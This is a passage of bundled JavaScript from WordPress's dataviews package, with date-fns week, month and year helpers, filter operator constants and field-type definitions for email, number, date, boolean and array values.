26316 * @category Week Helpers
26317 * @summary Add the specified number of weeks to the given date.
26318 *
26319 * @description
26320 * Add the specified number of weeks to the given date.
26321 *
26322 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26323 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26324 *
26325 * @param date - The date to be changed
26326 * @param amount - The amount of weeks to be added.
26327 * @param options - An object with options
26328 *
26329 * @returns The new date with the weeks added
26330 *
26331 * @example
26332 * // Add 4 weeks to 1 September 2014:
26333 * const result = addWeeks(new Date(2014, 8, 1), 4)
26334 * //=> Mon Sep 29 2014 00:00:00
26335 */
26336function addWeeks(date, amount, options) {
26337 return addDays(date, amount * 7, options);
26338}
26339
26340// Fallback for modularized imports:
26341/* harmony default export */ const date_fns_addWeeks = ((/* unused pure expression or super */ null && (addWeeks)));
26342
26343;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/subWeeks.js
26344
26345
26346/**
26347 * The {@link subWeeks} function options.
26348 */
26349
26350/**
26351 * @name subWeeks
26352 * @category Week Helpers
26353 * @summary Subtract the specified number of weeks from the given date.
26354 *
26355 * @description
26356 * Subtract the specified number of weeks from the given date.
26357 *
26358 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26359 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26360 *
26361 * @param date - The date to be changed
26362 * @param amount - The amount of weeks to be subtracted.
26363 * @param options - An object with options
26364 *
26365 * @returns The new date with the weeks subtracted
26366 *
26367 * @example
26368 * // Subtract 4 weeks from 1 September 2014:
26369 * const result = subWeeks(new Date(2014, 8, 1), 4)
26370 * //=> Mon Aug 04 2014 00:00:00
26371 */
26372function subWeeks(date, amount, options) {
26373 return addWeeks(date, -amount, options);
26374}
26375
26376// Fallback for modularized imports:
26377/* harmony default export */ const date_fns_subWeeks = ((/* unused pure expression or super */ null && (subWeeks)));
26378
26379;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/addMonths.js
26380
26381
26382
26383/**
26384 * The {@link addMonths} function options.
26385 */
26386
26387/**
26388 * @name addMonths
26389 * @category Month Helpers
26390 * @summary Add the specified number of months to the given date.
26391 *
26392 * @description
26393 * Add the specified number of months to the given date.
26394 *
26395 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26396 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26397 *
26398 * @param date - The date to be changed
26399 * @param amount - The amount of months to be added.
26400 * @param options - The options object
26401 *
26402 * @returns The new date with the months added
26403 *
26404 * @example
26405 * // Add 5 months to 1 September 2014:
26406 * const result = addMonths(new Date(2014, 8, 1), 5)
26407 * //=> Sun Feb 01 2015 00:00:00
26408 *
26409 * // Add one month to 30 January 2023:
26410 * const result = addMonths(new Date(2023, 0, 30), 1)
26411 * //=> Tue Feb 28 2023 00:00:00
26412 */
26413function addMonths(date, amount, options) {
26414 const _date = toDate(date, options?.in);
26415 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
26416 if (!amount) {
26417 // If 0 months, no-op to avoid changing times in the hour before end of DST
26418 return _date;
26419 }
26420 const dayOfMonth = _date.getDate();
26421
26422 // The JS Date object supports date math by accepting out-of-bounds values for
26423 // month, day, etc. For example, new Date(2020, 0, 0) returns 31 Dec 2019 and
26424 // new Date(2020, 13, 1) returns 1 Feb 2021. This is *almost* the behavior we
26425 // want except that dates will wrap around the end of a month, meaning that
26426 // new Date(2020, 13, 31) will return 3 Mar 2021 not 28 Feb 2021 as desired. So
26427 // we'll default to the end of the desired month by adding 1 to the desired
26428 // month and using a date of 0 to back up one day to the end of the desired
26429 // month.
26430 const endOfDesiredMonth = constructFrom(options?.in || date, _date.getTime());
26431 endOfDesiredMonth.setMonth(_date.getMonth() + amount + 1, 0);
26432 const daysInMonth = endOfDesiredMonth.getDate();
26433 if (dayOfMonth >= daysInMonth) {
26434 // If we're already at the end of the month, then this is the correct date
26435 // and we're done.
26436 return endOfDesiredMonth;
26437 } else {
26438 // Otherwise, we now know that setting the original day-of-month value won't
26439 // cause an overflow, so set the desired day-of-month. Note that we can't
26440 // just set the date of `endOfDesiredMonth` because that object may have had
26441 // its time changed in the unusual case where where a DST transition was on
26442 // the last day of the month and its local time was in the hour skipped or
26443 // repeated next to a DST transition. So we use `date` instead which is
26444 // guaranteed to still have the original time.
26445 _date.setFullYear(
26446 endOfDesiredMonth.getFullYear(),
26447 endOfDesiredMonth.getMonth(),
26448 dayOfMonth,
26449 );
26450 return _date;
26451 }
26452}
26453
26454// Fallback for modularized imports:
26455/* harmony default export */ const date_fns_addMonths = ((/* unused pure expression or super */ null && (addMonths)));
26456
26457;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/subMonths.js
26458
26459
26460/**
26461 * The subMonths function options.
26462 */
26463
26464/**
26465 * @name subMonths
26466 * @category Month Helpers
26467 * @summary Subtract the specified number of months from the given date.
26468 *
26469 * @description
26470 * Subtract the specified number of months from the given date.
26471 *
26472 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26473 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26474 *
26475 * @param date - The date to be changed
26476 * @param amount - The amount of months to be subtracted.
26477 * @param options - An object with options
26478 *
26479 * @returns The new date with the months subtracted
26480 *
26481 * @example
26482 * // Subtract 5 months from 1 February 2015:
26483 * const result = subMonths(new Date(2015, 1, 1), 5)
26484 * //=> Mon Sep 01 2014 00:00:00
26485 */
26486function subMonths(date, amount, options) {
26487 return addMonths(date, -amount, options);
26488}
26489
26490// Fallback for modularized imports:
26491/* harmony default export */ const date_fns_subMonths = ((/* unused pure expression or super */ null && (subMonths)));
26492
26493;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/addYears.js
26494
26495
26496/**
26497 * The {@link addYears} function options.
26498 */
26499
26500/**
26501 * @name addYears
26502 * @category Year Helpers
26503 * @summary Add the specified number of years to the given date.
26504 *
26505 * @description
26506 * Add the specified number of years to the given date.
26507 *
26508 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26509 * @typeParam ResultDate - The result `Date` type.
26510 *
26511 * @param date - The date to be changed
26512 * @param amount - The amount of years to be added.
26513 * @param options - The options
26514 *
26515 * @returns The new date with the years added
26516 *
26517 * @example
26518 * // Add 5 years to 1 September 2014:
26519 * const result = addYears(new Date(2014, 8, 1), 5)
26520 * //=> Sun Sep 01 2019 00:00:00
26521 */
26522function addYears(date, amount, options) {
26523 return addMonths(date, amount * 12, options);
26524}
26525
26526// Fallback for modularized imports:
26527/* harmony default export */ const date_fns_addYears = ((/* unused pure expression or super */ null && (addYears)));
26528
26529;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/subYears.js
26530
26531
26532/**
26533 * The {@link subYears} function options.
26534 */
26535
26536/**
26537 * @name subYears
26538 * @category Year Helpers
26539 * @summary Subtract the specified number of years from the given date.
26540 *
26541 * @description
26542 * Subtract the specified number of years from the given date.
26543 *
26544 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26545 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26546 *
26547 * @param date - The date to be changed
26548 * @param amount - The amount of years to be subtracted.
26549 * @param options - An object with options
26550 *
26551 * @returns The new date with the years subtracted
26552 *
26553 * @example
26554 * // Subtract 5 years from 1 September 2014:
26555 * const result = subYears(new Date(2014, 8, 1), 5)
26556 * //=> Tue Sep 01 2009 00:00:00
26557 */
26558function subYears(date, amount, options) {
26559 return addYears(date, -amount, options);
26560}
26561
26562// Fallback for modularized imports:
26563/* harmony default export */ const date_fns_subYears = ((/* unused pure expression or super */ null && (subYears)));
26564
26565;// ./node_modules/@wordpress/icons/build-module/library/arrow-up.js
26566
26567
26568var arrow_up_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 3.9 6.5 9.5l1 1 3.8-3.7V20h1.5V6.8l3.7 3.7 1-1z" }) });
26569
26570
26571;// ./node_modules/@wordpress/icons/build-module/library/arrow-down.js
26572
26573
26574var arrow_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z" }) });
26575
26576
26577;// ./node_modules/@wordpress/dataviews/build-module/constants.js
26578
26579
26580const constants_OPERATOR_IS = "is";
26581const constants_OPERATOR_IS_NOT = "isNot";
26582const constants_OPERATOR_IS_ANY = "isAny";
26583const constants_OPERATOR_IS_NONE = "isNone";
26584const OPERATOR_IS_ALL = "isAll";
26585const OPERATOR_IS_NOT_ALL = "isNotAll";
26586const OPERATOR_LESS_THAN = "lessThan";
26587const OPERATOR_GREATER_THAN = "greaterThan";
26588const OPERATOR_LESS_THAN_OR_EQUAL = "lessThanOrEqual";
26589const OPERATOR_GREATER_THAN_OR_EQUAL = "greaterThanOrEqual";
26590const OPERATOR_BEFORE = "before";
26591const OPERATOR_AFTER = "after";
26592const OPERATOR_BEFORE_INC = "beforeInc";
26593const OPERATOR_AFTER_INC = "afterInc";
26594const OPERATOR_CONTAINS = "contains";
26595const OPERATOR_NOT_CONTAINS = "notContains";
26596const OPERATOR_STARTS_WITH = "startsWith";
26597const OPERATOR_BETWEEN = "between";
26598const OPERATOR_ON = "on";
26599const OPERATOR_NOT_ON = "notOn";
26600const OPERATOR_IN_THE_PAST = "inThePast";
26601const OPERATOR_OVER = "over";
26602const ALL_OPERATORS = [
26603 constants_OPERATOR_IS,
26604 constants_OPERATOR_IS_NOT,
26605 constants_OPERATOR_IS_ANY,
26606 constants_OPERATOR_IS_NONE,
26607 OPERATOR_IS_ALL,
26608 OPERATOR_IS_NOT_ALL,
26609 OPERATOR_LESS_THAN,
26610 OPERATOR_GREATER_THAN,
26611 OPERATOR_LESS_THAN_OR_EQUAL,
26612 OPERATOR_GREATER_THAN_OR_EQUAL,
26613 OPERATOR_BEFORE,
26614 OPERATOR_AFTER,
26615 OPERATOR_BEFORE_INC,
26616 OPERATOR_AFTER_INC,
26617 OPERATOR_CONTAINS,
26618 OPERATOR_NOT_CONTAINS,
26619 OPERATOR_STARTS_WITH,
26620 OPERATOR_BETWEEN,
26621 OPERATOR_ON,
26622 OPERATOR_NOT_ON,
26623 OPERATOR_IN_THE_PAST,
26624 OPERATOR_OVER
26625];
26626const SINGLE_SELECTION_OPERATORS = [
26627 constants_OPERATOR_IS,
26628 constants_OPERATOR_IS_NOT,
26629 OPERATOR_LESS_THAN,
26630 OPERATOR_GREATER_THAN,
26631 OPERATOR_LESS_THAN_OR_EQUAL,
26632 OPERATOR_GREATER_THAN_OR_EQUAL,
26633 OPERATOR_BEFORE,
26634 OPERATOR_AFTER,
26635 OPERATOR_BEFORE_INC,
26636 OPERATOR_AFTER_INC,
26637 OPERATOR_CONTAINS,
26638 OPERATOR_NOT_CONTAINS,
26639 OPERATOR_STARTS_WITH,
26640 OPERATOR_ON,
26641 OPERATOR_NOT_ON
26642];
26643const OPERATORS = {
26644 [constants_OPERATOR_IS]: {
26645 key: "is-filter",
26646 label: (0,external_wp_i18n_namespaceObject.__)("Is")
26647 },
26648 [constants_OPERATOR_IS_NOT]: {
26649 key: "is-not-filter",
26650 label: (0,external_wp_i18n_namespaceObject.__)("Is not")
26651 },
26652 [constants_OPERATOR_IS_ANY]: {
26653 key: "is-any-filter",
26654 label: (0,external_wp_i18n_namespaceObject.__)("Is any")
26655 },
26656 [constants_OPERATOR_IS_NONE]: {
26657 key: "is-none-filter",
26658 label: (0,external_wp_i18n_namespaceObject.__)("Is none")
26659 },
26660 [OPERATOR_IS_ALL]: {
26661 key: "is-all-filter",
26662 label: (0,external_wp_i18n_namespaceObject.__)("Is all")
26663 },
26664 [OPERATOR_IS_NOT_ALL]: {
26665 key: "is-not-all-filter",
26666 label: (0,external_wp_i18n_namespaceObject.__)("Is not all")
26667 },
26668 [OPERATOR_LESS_THAN]: {
26669 key: "less-than-filter",
26670 label: (0,external_wp_i18n_namespaceObject.__)("Less than")
26671 },
26672 [OPERATOR_GREATER_THAN]: {
26673 key: "greater-than-filter",
26674 label: (0,external_wp_i18n_namespaceObject.__)("Greater than")
26675 },
26676 [OPERATOR_LESS_THAN_OR_EQUAL]: {
26677 key: "less-than-or-equal-filter",
26678 label: (0,external_wp_i18n_namespaceObject.__)("Less than or equal")
26679 },
26680 [OPERATOR_GREATER_THAN_OR_EQUAL]: {
26681 key: "greater-than-or-equal-filter",
26682 label: (0,external_wp_i18n_namespaceObject.__)("Greater than or equal")
26683 },
26684 [OPERATOR_BEFORE]: {
26685 key: "before-filter",
26686 label: (0,external_wp_i18n_namespaceObject.__)("Before")
26687 },
26688 [OPERATOR_AFTER]: {
26689 key: "after-filter",
26690 label: (0,external_wp_i18n_namespaceObject.__)("After")
26691 },
26692 [OPERATOR_BEFORE_INC]: {
26693 key: "before-inc-filter",
26694 label: (0,external_wp_i18n_namespaceObject.__)("Before (inc)")
26695 },
26696 [OPERATOR_AFTER_INC]: {
26697 key: "after-inc-filter",
26698 label: (0,external_wp_i18n_namespaceObject.__)("After (inc)")
26699 },
26700 [OPERATOR_CONTAINS]: {
26701 key: "contains-filter",
26702 label: (0,external_wp_i18n_namespaceObject.__)("Contains")
26703 },
26704 [OPERATOR_NOT_CONTAINS]: {
26705 key: "not-contains-filter",
26706 label: (0,external_wp_i18n_namespaceObject.__)("Doesn't contain")
26707 },
26708 [OPERATOR_STARTS_WITH]: {
26709 key: "starts-with-filter",
26710 label: (0,external_wp_i18n_namespaceObject.__)("Starts with")
26711 },
26712 [OPERATOR_BETWEEN]: {
26713 key: "between-filter",
26714 label: (0,external_wp_i18n_namespaceObject.__)("Between (inc)")
26715 },
26716 [OPERATOR_ON]: {
26717 key: "on-filter",
26718 label: (0,external_wp_i18n_namespaceObject.__)("On")
26719 },
26720 [OPERATOR_NOT_ON]: {
26721 key: "not-on-filter",
26722 label: (0,external_wp_i18n_namespaceObject.__)("Not on")
26723 },
26724 [OPERATOR_IN_THE_PAST]: {
26725 key: "in-the-past-filter",
26726 label: (0,external_wp_i18n_namespaceObject.__)("In the past")
26727 },
26728 [OPERATOR_OVER]: {
26729 key: "over-filter",
26730 label: (0,external_wp_i18n_namespaceObject.__)("Over")
26731 }
26732};
26733const SORTING_DIRECTIONS = ["asc", "desc"];
26734const sortArrows = { asc: "\u2191", desc: "\u2193" };
26735const sortValues = { asc: "ascending", desc: "descending" };
26736const sortLabels = {
26737 asc: (0,external_wp_i18n_namespaceObject.__)("Sort ascending"),
26738 desc: (0,external_wp_i18n_namespaceObject.__)("Sort descending")
26739};
26740const sortIcons = {
26741 asc: arrow_up_default,
26742 desc: arrow_down_default
26743};
26744const constants_LAYOUT_TABLE = "table";
26745const constants_LAYOUT_GRID = "grid";
26746const constants_LAYOUT_LIST = "list";
26747const LAYOUT_PICKER_GRID = "pickerGrid";
26748
26749
26750;// ./node_modules/@wordpress/dataviews/build-module/hooks/use-elements.js
26751
26752const use_elements_EMPTY_ARRAY = [];
26753function useElements({
26754 elements,
26755 getElements
26756}) {
26757 const staticElements = Array.isArray(elements) && elements.length > 0 ? elements : use_elements_EMPTY_ARRAY;
26758 const [records, setRecords] = (0,external_wp_element_.useState)(staticElements);
26759 const [isLoading, setIsLoading] = (0,external_wp_element_.useState)(false);
26760 (0,external_wp_element_.useEffect)(() => {
26761 if (!getElements) {
26762 setRecords(staticElements);
26763 return;
26764 }
26765 let cancelled = false;
26766 setIsLoading(true);
26767 getElements().then((fetchedElements) => {
26768 if (!cancelled) {
26769 const dynamicElements = Array.isArray(fetchedElements) && fetchedElements.length > 0 ? fetchedElements : staticElements;
26770 setRecords(dynamicElements);
26771 }
26772 }).catch(() => {
26773 if (!cancelled) {
26774 setRecords(staticElements);
26775 }
26776 }).finally(() => {
26777 if (!cancelled) {
26778 setIsLoading(false);
26779 }
26780 });
26781 return () => {
26782 cancelled = true;
26783 };
26784 }, [getElements, staticElements]);
26785 return {
26786 elements: records,
26787 isLoading
26788 };
26789}
26790
26791
26792;// ./node_modules/@wordpress/dataviews/build-module/field-types/utils/render-from-elements.js
26793
26794function RenderFromElements({
26795 item,
26796 field
26797}) {
26798 const { elements, isLoading } = useElements({
26799 elements: field.elements,
26800 getElements: field.getElements
26801 });
26802 const value = field.getValue({ item });
26803 if (isLoading) {
26804 return value;
26805 }
26806 if (elements.length === 0) {
26807 return value;
26808 }
26809 return elements?.find((element) => element.value === value)?.label || field.getValue({ item });
26810}
26811
26812
26813;// ./node_modules/@wordpress/dataviews/build-module/field-types/email.js
26814
26815
26816
26817
26818function sort(valueA, valueB, direction) {
26819 return direction === "asc" ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
26820}
26821const emailRegex = /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
26822var email_default = {
26823 sort,
26824 isValid: {
26825 elements: true,
26826 custom: (item, field) => {
26827 const value = field.getValue({ item });
26828 if (![void 0, "", null].includes(value) && !emailRegex.test(value)) {
26829 return (0,external_wp_i18n_namespaceObject.__)("Value must be a valid email address.");
26830 }
26831 return null;
26832 }
26833 },
26834 Edit: "email",
26835 render: ({ item, field }) => {
26836 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
26837 },
26838 enableSorting: true,
26839 filterBy: {
26840 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
26841 validOperators: [
26842 constants_OPERATOR_IS,
26843 constants_OPERATOR_IS_NOT,
26844 OPERATOR_CONTAINS,
26845 OPERATOR_NOT_CONTAINS,
26846 OPERATOR_STARTS_WITH,
26847 // Multiple selection
26848 constants_OPERATOR_IS_ANY,
26849 constants_OPERATOR_IS_NONE,
26850 OPERATOR_IS_ALL,
26851 OPERATOR_IS_NOT_ALL
26852 ]
26853 }
26854};
26855
26856
26857;// ./node_modules/@wordpress/dataviews/build-module/field-types/integer.js
26858
26859
26860
26861
26862function integer_sort(a, b, direction) {
26863 return direction === "asc" ? a - b : b - a;
26864}
26865var integer_default = {
26866 sort: integer_sort,
26867 isValid: {
26868 elements: true,
26869 custom: (item, field) => {
26870 const value = field.getValue({ item });
26871 if (![void 0, "", null].includes(value) && !Number.isInteger(value)) {
26872 return (0,external_wp_i18n_namespaceObject.__)("Value must be an integer.");
26873 }
26874 return null;
26875 }
26876 },
26877 Edit: "integer",
26878 render: ({ item, field }) => {
26879 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
26880 },
26881 enableSorting: true,
26882 filterBy: {
26883 defaultOperators: [
26884 constants_OPERATOR_IS,
26885 constants_OPERATOR_IS_NOT,
26886 OPERATOR_LESS_THAN,
26887 OPERATOR_GREATER_THAN,
26888 OPERATOR_LESS_THAN_OR_EQUAL,
26889 OPERATOR_GREATER_THAN_OR_EQUAL,
26890 OPERATOR_BETWEEN
26891 ],
26892 validOperators: [
26893 // Single-selection
26894 constants_OPERATOR_IS,
26895 constants_OPERATOR_IS_NOT,
26896 OPERATOR_LESS_THAN,
26897 OPERATOR_GREATER_THAN,
26898 OPERATOR_LESS_THAN_OR_EQUAL,
26899 OPERATOR_GREATER_THAN_OR_EQUAL,
26900 OPERATOR_BETWEEN,
26901 // Multiple-selection
26902 constants_OPERATOR_IS_ANY,
26903 constants_OPERATOR_IS_NONE,
26904 OPERATOR_IS_ALL,
26905 OPERATOR_IS_NOT_ALL
26906 ]
26907 }
26908};
26909
26910
26911;// ./node_modules/@wordpress/dataviews/build-module/field-types/number.js
26912
26913
26914
26915
26916function number_sort(a, b, direction) {
26917 return direction === "asc" ? a - b : b - a;
26918}
26919function isEmpty(value) {
26920 return value === "" || value === void 0 || value === null;
26921}
26922var number_default = {
26923 sort: number_sort,
26924 isValid: {
26925 elements: true,
26926 custom: (item, field) => {
26927 const value = field.getValue({ item });
26928 if (!isEmpty(value) && !Number.isFinite(value)) {
26929 return (0,external_wp_i18n_namespaceObject.__)("Value must be a number.");
26930 }
26931 return null;
26932 }
26933 },
26934 Edit: "number",
26935 render: ({ item, field }) => {
26936 if (field.hasElements) {
26937 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field });
26938 }
26939 const value = field.getValue({ item });
26940 if (![null, void 0].includes(value)) {
26941 return Number(value).toFixed(2);
26942 }
26943 return null;
26944 },
26945 enableSorting: true,
26946 filterBy: {
26947 defaultOperators: [
26948 constants_OPERATOR_IS,
26949 constants_OPERATOR_IS_NOT,
26950 OPERATOR_LESS_THAN,
26951 OPERATOR_GREATER_THAN,
26952 OPERATOR_LESS_THAN_OR_EQUAL,
26953 OPERATOR_GREATER_THAN_OR_EQUAL,
26954 OPERATOR_BETWEEN
26955 ],
26956 validOperators: [
26957 // Single-selection
26958 constants_OPERATOR_IS,
26959 constants_OPERATOR_IS_NOT,
26960 OPERATOR_LESS_THAN,
26961 OPERATOR_GREATER_THAN,
26962 OPERATOR_LESS_THAN_OR_EQUAL,
26963 OPERATOR_GREATER_THAN_OR_EQUAL,
26964 OPERATOR_BETWEEN,
26965 // Multiple-selection
26966 constants_OPERATOR_IS_ANY,
26967 constants_OPERATOR_IS_NONE,
26968 OPERATOR_IS_ALL,
26969 OPERATOR_IS_NOT_ALL
26970 ]
26971 }
26972};
26973
26974
26975;// ./node_modules/@wordpress/dataviews/build-module/field-types/text.js
26976
26977
26978
26979function text_sort(valueA, valueB, direction) {
26980 return direction === "asc" ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
26981}
26982var text_default = {
26983 sort: text_sort,
26984 isValid: {
26985 elements: true,
26986 custom: () => null
26987 },
26988 Edit: "text",
26989 render: ({ item, field }) => {
26990 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
26991 },
26992 enableSorting: true,
26993 filterBy: {
26994 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
26995 validOperators: [
26996 // Single selection
26997 constants_OPERATOR_IS,
26998 constants_OPERATOR_IS_NOT,
26999 OPERATOR_CONTAINS,
27000 OPERATOR_NOT_CONTAINS,
27001 OPERATOR_STARTS_WITH,
27002 // Multiple selection
27003 constants_OPERATOR_IS_ANY,
27004 constants_OPERATOR_IS_NONE,
27005 OPERATOR_IS_ALL,
27006 OPERATOR_IS_NOT_ALL
27007 ]
27008 }
27009};
27010
27011
27012;// ./node_modules/@wordpress/dataviews/build-module/field-types/datetime.js
27013
27014
27015
27016function datetime_sort(a, b, direction) {
27017 const timeA = new Date(a).getTime();
27018 const timeB = new Date(b).getTime();
27019 return direction === "asc" ? timeA - timeB : timeB - timeA;
27020}
27021var datetime_default = {
27022 sort: datetime_sort,
27023 isValid: {
27024 elements: true,
27025 custom: () => null
27026 },
27027 Edit: "datetime",
27028 render: ({ item, field }) => {
27029 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
27030 },
27031 enableSorting: true,
27032 filterBy: {
27033 defaultOperators: [
27034 OPERATOR_ON,
27035 OPERATOR_NOT_ON,
27036 OPERATOR_BEFORE,
27037 OPERATOR_AFTER,
27038 OPERATOR_BEFORE_INC,
27039 OPERATOR_AFTER_INC,
27040 OPERATOR_IN_THE_PAST,
27041 OPERATOR_OVER
27042 ],
27043 validOperators: [
27044 OPERATOR_ON,
27045 OPERATOR_NOT_ON,
27046 OPERATOR_BEFORE,
27047 OPERATOR_AFTER,
27048 OPERATOR_BEFORE_INC,
27049 OPERATOR_AFTER_INC,
27050 OPERATOR_IN_THE_PAST,
27051 OPERATOR_OVER
27052 ]
27053 }
27054};
27055
27056
27057;// ./node_modules/@wordpress/dataviews/build-module/field-types/date.js
27058
27059
27060
27061
27062const getFormattedDate = (dateToDisplay) => (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_date_namespaceObject.getSettings)().formats.date, (0,external_wp_date_namespaceObject.getDate)(dateToDisplay));
27063function date_sort(a, b, direction) {
27064 const timeA = new Date(a).getTime();
27065 const timeB = new Date(b).getTime();
27066 return direction === "asc" ? timeA - timeB : timeB - timeA;
27067}
27068var date_default = {
27069 sort: date_sort,
27070 Edit: "date",
27071 isValid: {
27072 elements: true,
27073 custom: () => null
27074 },
27075 render: ({ item, field }) => {
27076 if (field.hasElements) {
27077 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field });
27078 }
27079 const value = field.getValue({ item });
27080 if (!value) {
27081 return "";
27082 }
27083 return getFormattedDate(value);
27084 },
27085 enableSorting: true,
27086 filterBy: {
27087 defaultOperators: [
27088 OPERATOR_ON,
27089 OPERATOR_NOT_ON,
27090 OPERATOR_BEFORE,
27091 OPERATOR_AFTER,
27092 OPERATOR_BEFORE_INC,
27093 OPERATOR_AFTER_INC,
27094 OPERATOR_IN_THE_PAST,
27095 OPERATOR_OVER,
27096 OPERATOR_BETWEEN
27097 ],
27098 validOperators: [
27099 OPERATOR_ON,
27100 OPERATOR_NOT_ON,
27101 OPERATOR_BEFORE,
27102 OPERATOR_AFTER,
27103 OPERATOR_BEFORE_INC,
27104 OPERATOR_AFTER_INC,
27105 OPERATOR_IN_THE_PAST,
27106 OPERATOR_OVER,
27107 OPERATOR_BETWEEN
27108 ]
27109 }
27110};
27111
27112
27113;// ./node_modules/@wordpress/dataviews/build-module/field-types/boolean.js
27114
27115
27116
27117
27118function boolean_sort(a, b, direction) {
27119 const boolA = Boolean(a);
27120 const boolB = Boolean(b);
27121 if (boolA === boolB) {
27122 return 0;
27123 }
27124 if (direction === "asc") {
27125 return boolA ? 1 : -1;
27126 }
27127 return boolA ? -1 : 1;
27128}
27129var boolean_default = {
27130 sort: boolean_sort,
27131 isValid: {
27132 elements: true,
27133 custom: (item, field) => {
27134 const value = field.getValue({ item });
27135 if (![void 0, "", null].includes(value) && ![true, false].includes(value)) {
27136 return (0,external_wp_i18n_namespaceObject.__)("Value must be true, false, or undefined");
27137 }
27138 return null;
27139 }
27140 },
27141 Edit: "checkbox",
27142 render: ({ item, field }) => {
27143 if (field.hasElements) {
27144 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field });
27145 }
27146 if (field.getValue({ item }) === true) {
27147 return (0,external_wp_i18n_namespaceObject.__)("True");
27148 }
27149 if (field.getValue({ item }) === false) {
27150 return (0,external_wp_i18n_namespaceObject.__)("False");
27151 }
27152 return null;
27153 },
27154 enableSorting: true,
27155 filterBy: {
27156 defaultOperators: [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT],
27157 validOperators: [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT]
27158 }
27159};
27160
27161
27162;// ./node_modules/@wordpress/dataviews/build-module/field-types/media.js
27163function media_sort() {
27164 return 0;
27165}
27166var media_default = {
27167 sort: media_sort,
27168 isValid: {
27169 elements: true,
27170 custom: () => null
27171 },
27172 Edit: null,
27173 render: () => null,
27174 enableSorting: false,
27175 filterBy: false
27176};
27177
27178
27179;// ./node_modules/@wordpress/dataviews/build-module/field-types/array.js
27180
27181
27182function array_sort(valueA, valueB, direction) {
27183 const arrA = Array.isArray(valueA) ? valueA : [];
27184 const arrB = Array.isArray(valueB) ? valueB : [];
27185 if (arrA.length !== arrB.length) {
27186 return direction === "asc" ? arrA.length - arrB.length : arrB.length - arrA.length;
27187 }
27188 const joinedA = arrA.join(",");
27189 const joinedB = arrB.join(",");
27190 return direction === "asc" ? joinedA.localeCompare(joinedB) : joinedB.localeCompare(joinedA);
27191}
27192function render({ item, field }) {
27193 const value = field.getValue({ item }) || [];
27194 return value.join(", ");
27195}
27196const arrayFieldType = {
27197 sort: array_sort,
27198 isValid: {
27199 elements: true,
27200 custom: (item, field) => {
27201 const value = field.getValue({ item });
27202 if (![void 0, "", null].includes(value) && !Array.isArray(value)) {
27203 return (0,external_wp_i18n_namespaceObject.__)("Value must be an array.");
27204 }
27205 if (!value.every((v) => typeof v === "string")) {
27206 return (0,external_wp_i18n_namespaceObject.__)("Every value must be a string.");
27207 }
27208 return null;
27209 }
27210 },
27211 Edit: "array",
27212 // Use array control
27213 render,
27214 enableSorting: true,
27215 filterBy: {
27216 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
27217 validOperators: [
27218 constants_OPERATOR_IS_ANY,
